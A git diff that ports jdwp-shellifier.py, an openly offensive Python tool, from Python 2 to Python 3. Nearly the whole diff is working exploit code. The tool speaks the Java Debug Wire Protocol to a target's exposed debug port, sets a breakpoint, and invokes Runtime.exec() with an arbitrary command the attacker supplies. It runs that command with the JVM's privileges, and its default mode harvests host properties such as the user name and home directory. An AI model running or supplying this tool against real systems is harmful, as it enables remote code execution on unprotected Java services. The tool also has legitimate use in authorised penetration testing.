diff --git a/jdwp-shellifier.py b/jdwp-shellifier.py index c44fae5..7905dbe 100755 --- a/jdwp-shellifier.py +++ b/jdwp-shellifier.py @@ -12,8 +12,10 @@ import time import sys import struct -import urllib +import urllib.request, urllib.parse, urllib.error import argparse +import traceback +import pdb @@ -21,7 +23,7 @@ # # JDWP protocol variables # -HANDSHAKE = "JDWP-Handshake" +HANDSHAKE = b"JDWP-Handshake" REQUEST_PACKET_TYPE = 0x00 REPLY_PACKET_TYPE = 0x80 @@ -82,24 +84,24 @@ def __init__(self, host, port=8000): self.id = 0x01 return - def create_packet(self, cmdsig, data=""): + def create_packet(self, cmdsig, data=b""): flags = 0x00 cmdset, cmd = cmdsig pktlen = len(data) + 11 - pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags), chr(cmdset), chr(cmd)) + pkt = struct.pack(">IIBBB", pktlen, self.id, flags, cmdset, cmd) pkt+= data self.id += 2 return pkt def read_reply(self): header = self.socket.recv(11) - pktlen, id, flags, errcode = struct.unpack(">IIcH", header) + pktlen, id, flags, errcode = struct.unpack(">IIBH", header) - if flags == chr(REPLY_PACKET_TYPE): + if flags == struct.pack(">B", REPLY_PACKET_TYPE): if errcode : raise Exception("Received errcode %d" % errcode) - buf = "" + buf = b"" while len(buf) + 11 < pktlen: data = self.socket.recv(1024) if len(data): @@ -133,10 +135,10 @@ def parse_entries(self, buf, formats, explicit=True): data[name] = buf[index+4:index+4+l] index += 4+l elif fmt == 'C': - data[name] = ord(struct.unpack(">c", buf[index])[0]) + data[name] = buf[index] index += 1 elif fmt == 'Z': - t = ord(struct.unpack(">c", buf[index])[0]) + t = buf[index] if t == 115: s = self.solve_string(buf[index+1:index+9]) data[name] = s @@ -147,7 +149,7 @@ def parse_entries(self, buf, formats, explicit=True): index=0 else: - print "Error" + print("Error") sys.exit(1) entries.append( data ) @@ -204,7 +206,7 @@ def getversion(self): formats = [ ('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), ('S', "vmVersion"), ('S', "vmName"), ] for entry in self.parse_entries(buf, formats, False): - for name,value in entry.iteritems(): + for name,value in entry.items(): setattr(self, name, value) return @@ -218,7 +220,7 @@ def idsizes(self): formats = [ ("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), ("I", "referenceTypeIDSize"), ("I", "frameIDSize") ] for entry in self.parse_entries(buf, formats, False): - for name,value in entry.iteritems(): + for name,value in entry.items(): setattr(self, name, value) return @@ -264,7 +266,7 @@ def get_class_by_name(self, name): return None def get_methods(self, refTypeId): - if not self.methods.has_key(refTypeId): + if refTypeId not in self.methods: refId = self.format(self.referenceTypeIDSize, refTypeId) self.socket.sendall( self.create_packet(METHODS_SIG, data=refId) ) buf = self.read_reply() @@ -276,14 +278,14 @@ def get_methods(self, refTypeId): return self.methods[refTypeId] def get_method_by_name(self, name): - for refId in self.methods.keys(): + for refId in list(self.methods.keys()): for entry in self.methods[refId]: if entry["name"].lower() == name.lower() : return entry return None def getfields(self, refTypeId): - if not self.fields.has_key( refTypeId ): + if refTypeId not in self.fields: refId = self.format(self.referenceTypeIDSize, refTypeId) self.socket.sendall( self.create_packet(FIELDS_SIG, data=refId) ) buf = self.read_reply() @@ -304,13 +306,14 @@ def getvalue(self, refTypeId, fieldId): field = self.parse_entries(buf, formats)[0] return field - def createstring(self, data): + def createstring(self, data: bytes): buf = self.buildstring(data) self.socket.sendall( self.create_packet(CREATESTRING_SIG, data=buf) ) buf = self.read_reply() + return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) - def buildstring(self, data): + def buildstring(self, data: bytes): return struct.pack(">I", len(data)) + data def readstring(self, data): @@ -360,7 +363,7 @@ def solve_string(self, objId): if len(buf): return self.readstring(buf) else: - return "" + return b"" def query_thread(self, threadId, kind): data = self.format(self.objectIDSize, threadId) @@ -378,13 +381,13 @@ def resume_thread(self, threadId): return self.query_thread(threadId, THREADRESUME_SIG) def send_event(self, eventCode, *args): - data = "" - data+= chr( eventCode ) - data+= chr( SUSPEND_ALL ) + data = b"" + data+= struct.pack(">B", eventCode ) + data+= struct.pack(">B", SUSPEND_ALL ) data+= struct.pack(">I", len(args)) for kind, option in args: - data+= chr( kind ) + data+= struct.pack(">B", kind ) data+= option self.socket.sendall( self.create_packet(EVENTSET_SIG, data=data) ) @@ -392,7 +395,7 @@ def send_event(self, eventCode, *args): return struct.unpack(">I", buf)[0] def clear_event(self, eventCode, rId): - data = chr(eventCode) + data = struct.pack(">B", eventCode) data+= struct.pack(">I", rId) self.socket.sendall( self.create_packet(EVENTCLEAR_SIG, data=data) ) self.read_reply() @@ -419,28 +422,28 @@ def parse_event_breakpoint(self, buf, eventId): def runtime_exec(jdwp, args): - print ("[+] Targeting '%s:%d'" % (args.target, args.port)) - print ("[+] Reading settings for '%s'" % jdwp.version) + print(("[+] Targeting '%s:%d'" % (args.target, args.port))) + print(("[+] Reading settings for '%s'" % jdwp.version)) # 1. get Runtime class reference - runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;") + runtimeClass = jdwp.get_class_by_name(b"Ljava/lang/Runtime;") if runtimeClass is None: print ("[-] Cannot find class Runtime") return False - print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"]) + print(("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"])) # 2. get getRuntime() meth reference jdwp.get_methods(runtimeClass["refTypeId"]) - getRuntimeMeth = jdwp.get_method_by_name("getRuntime") + getRuntimeMeth = jdwp.get_method_by_name(b"getRuntime") if getRuntimeMeth is None: print ("[-] Cannot find method Runtime.getRuntime()") return False - print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) + print(("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])) # 3. setup breakpoint on frequently called method c = jdwp.get_class_by_name( args.break_on_class ) if c is None: - print("[-] Could not access class '%s'" % args.break_on_class) + print(("[-] Could not access class '%s'" % args.break_on_class)) print("[-] It is possible that this class is not used by application") print("[-] Test with another one with option `--break-on`") return False @@ -448,21 +451,21 @@ def runtime_exec(jdwp, args): jdwp.get_methods( c["refTypeId"] ) m = jdwp.get_method_by_name( args.break_on_method ) if m is None: - print("[-] Could not access method '%s'" % args.break_on) + print(("[-] Could not access method '%s'" % args.break_on)) return False - loc = chr( TYPE_CLASS ) + loc = struct.pack(">B", TYPE_CLASS ) loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] ) loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] ) loc+= struct.pack(">II", 0, 0) data = [ (MODKIND_LOCATIONONLY, loc), ] rId = jdwp.send_event( EVENT_BREAKPOINT, *data ) - print ("[+] Created break event id=%x" % rId) + print(("[+] Created break event id=%x" % rId)) # 4. resume vm and wait for event jdwp.resumevm() - print ("[+] Waiting for an event on '%s'" % args.break_on) + print(("[+] Waiting for an event on '%s'" % args.break_on)) while True: buf = jdwp.wait_for_event() ret = jdwp.parse_event_breakpoint(buf, rId) @@ -470,13 +473,13 @@ def runtime_exec(jdwp, args): break rId, tId, loc = ret - print ("[+] Received matching event from thread %#x" % tId) + print(("[+] Received matching event from thread %#x" % tId)) jdwp.clear_event(EVENT_BREAKPOINT, rId) # 5. Now we can execute any code if args.cmd: - runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd) + runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd.encode('utf8','ignore')) else: # by default, only prints out few system properties runtime_exec_info(jdwp, tId) @@ -493,64 +496,64 @@ def runtime_exec_info(jdwp, threadId): # This function calls java.lang.System.getProperties() and # displays OS properties (non-intrusive) # - properties = {"java.version": "Java Runtime Environment version", - "java.vendor": "Java Runtime Environment vendor", - "java.vendor.url": "Java vendor URL", - "java.home": "Java installation directory", - "java.vm.specification.version": "Java Virtual Machine specification version", - "java.vm.specification.vendor": "Java Virtual Machine specification vendor", - "java.vm.specification.name": "Java Virtual Machine specification name", - "java.vm.version": "Java Virtual Machine implementation version", - "java.vm.vendor": "Java Virtual Machine implementation vendor", - "java.vm.name": "Java Virtual Machine implementation name", - "java.specification.version": "Java Runtime Environment specification version", - "java.specification.vendor": "Java Runtime Environment specification vendor", - "java.specification.name": "Java Runtime Environment specification name", - "java.class.version": "Java class format version number", - "java.class.path": "Java class path", - "java.library.path": "List of paths to search when loading libraries", - "java.io.tmpdir": "Default temp file path", - "java.compiler": "Name of JIT compiler to use", - "java.ext.dirs": "Path of extension directory or directories", - "os.name": "Operating system name", - "os.arch": "Operating system architecture", - "os.version": "Operating system version", - "file.separator": "File separator", - "path.separator": "Path separator", - "user.name": "User's account name", - "user.home": "User's home directory", - "user.dir": "User's current working directory" + properties = {b"java.version": "Java Runtime Environment version", + b"java.vendor": "Java Runtime Environment vendor", + b"java.vendor.url": "Java vendor URL", + b"java.home": "Java installation directory", + b"java.vm.specification.version": "Java Virtual Machine specification version", + b"java.vm.specification.vendor": "Java Virtual Machine specification vendor", + b"java.vm.specification.name": "Java Virtual Machine specification name", + b"java.vm.version": "Java Virtual Machine implementation version", + b"java.vm.vendor": "Java Virtual Machine implementation vendor", + b"java.vm.name": "Java Virtual Machine implementation name", + b"java.specification.version": "Java Runtime Environment specification version", + b"java.specification.vendor": "Java Runtime Environment specification vendor", + b"java.specification.name": "Java Runtime Environment specification name", + b"java.class.version": "Java class format version number", + b"java.class.path": "Java class path", + b"java.library.path": "List of paths to search when loading libraries", + b"java.io.tmpdir": "Default temp file path", + b"java.compiler": "Name of JIT compiler to use", + b"java.ext.dirs": "Path of extension directory or directories", + b"os.name": "Operating system name", + b"os.arch": "Operating system architecture", + b"os.version": "Operating system version", + b"file.separator": "File separator", + b"path.separator": "Path separator", + b"user.name": "User's account name", + b"user.home": "User's home directory", + b"user.dir": "User's current working directory" } - systemClass = jdwp.get_class_by_name("Ljava/lang/System;") + systemClass = jdwp.get_class_by_name(b"Ljava/lang/System;") if systemClass is None: print ("[-] Cannot find class java.lang.System") return False jdwp.get_methods(systemClass["refTypeId"]) - getPropertyMeth = jdwp.get_method_by_name("getProperty") + getPropertyMeth = jdwp.get_method_by_name(b"getProperty") if getPropertyMeth is None: print ("[-] Cannot find method System.getProperty()") return False - for propStr, propDesc in properties.iteritems(): + for propStr, propDesc in properties.items(): propObjIds = jdwp.createstring(propStr) if len(propObjIds) == 0: print ("[-] Failed to allocate command") return False propObjId = propObjIds[0]["objId"] - data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propObjId), ] + data = [ struct.pack(">B", TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propObjId), ] buf = jdwp.invokestatic(systemClass["refTypeId"], threadId, getPropertyMeth["methodId"], *data) - if buf[0] != chr(TAG_STRING): - print ("[-] %s: Unexpected returned type: expecting String" % propStr) + if buf[0] != TAG_STRING: + print(("[-] %s: Unexpected returned type: expecting String" % propStr)) else: retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) res = cli.solve_string(jdwp.format(jdwp.objectIDSize, retId)) - print ("[+] Found %s '%s'" % (propDesc, res)) + print(("[+] Found %s '%s'" % (propDesc, res))) return True @@ -560,7 +563,7 @@ def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, comma # This function will invoke command as a payload, which will be running # with JVM privilege on host (intrusive). # - print ("[+] Selected payload '%s'" % command) + print(("[+] Selected payload '%s'" % command)) # 1. allocating string containing our command to exec() cmdObjIds = jdwp.createstring( command ) @@ -568,48 +571,48 @@ def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, comma print ("[-] Failed to allocate command") return False cmdObjId = cmdObjIds[0]["objId"] - print ("[+] Command string object created id:%x" % cmdObjId) + print(("[+] Command string object created id:%x" % cmdObjId)) # 2. use context to get Runtime object buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) - if buf[0] != chr(TAG_OBJECT): + if buf[0] != TAG_OBJECT: print ("[-] Unexpected returned type: expecting Object") return False rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) if rt is None: - print "[-] Failed to invoke Runtime.getRuntime()" + print("[-] Failed to invoke Runtime.getRuntime()") return False - print ("[+] Runtime.getRuntime() returned context id:%#x" % rt) + print(("[+] Runtime.getRuntime() returned context id:%#x" % rt)) # 3. find exec() method - execMeth = jdwp.get_method_by_name("exec") + execMeth = jdwp.get_method_by_name(b"exec") if execMeth is None: print ("[-] Cannot find method Runtime.exec()") return False - print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"]) + print(("[+] found Runtime.exec(): id=%x" % execMeth["methodId"])) # 4. call exec() in this context with the alloc-ed string - data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ] + data = [ struct.pack(">B", TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ] buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data) - if buf[0] != chr(TAG_OBJECT): + if buf[0] != TAG_OBJECT: print ("[-] Unexpected returned type: expecting Object") return False retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) - print ("[+] Runtime.exec() successful, retId=%x" % retId) + print(("[+] Runtime.exec() successful, retId=%x" % retId)) return True def str2fqclass(s): - i = s.rfind('.') + i = s.rfind(b'.') if i == -1: print("Cannot parse path") sys.exit(1) method = s[i:][1:] - classname = 'L' + s[:i].replace('.', '/') + ';' + classname = b'L' + s[:i].replace(b'.', b'/') + b';' return classname, method @@ -627,7 +630,7 @@ def str2fqclass(s): args = parser.parse_args() - classname, meth = str2fqclass(args.break_on) + classname, meth = str2fqclass(args.break_on.encode('utf8','ignore')) setattr(args, "break_on_class", classname) setattr(args, "break_on_method", meth) @@ -645,7 +648,8 @@ def str2fqclass(s): print ("[+] Exiting on user's request") except Exception as e: - print ("[-] Exception: %s" % e) + traceback.print_exc() + print(("[-] Exception: %s" % e)) retcode = 1 cli = None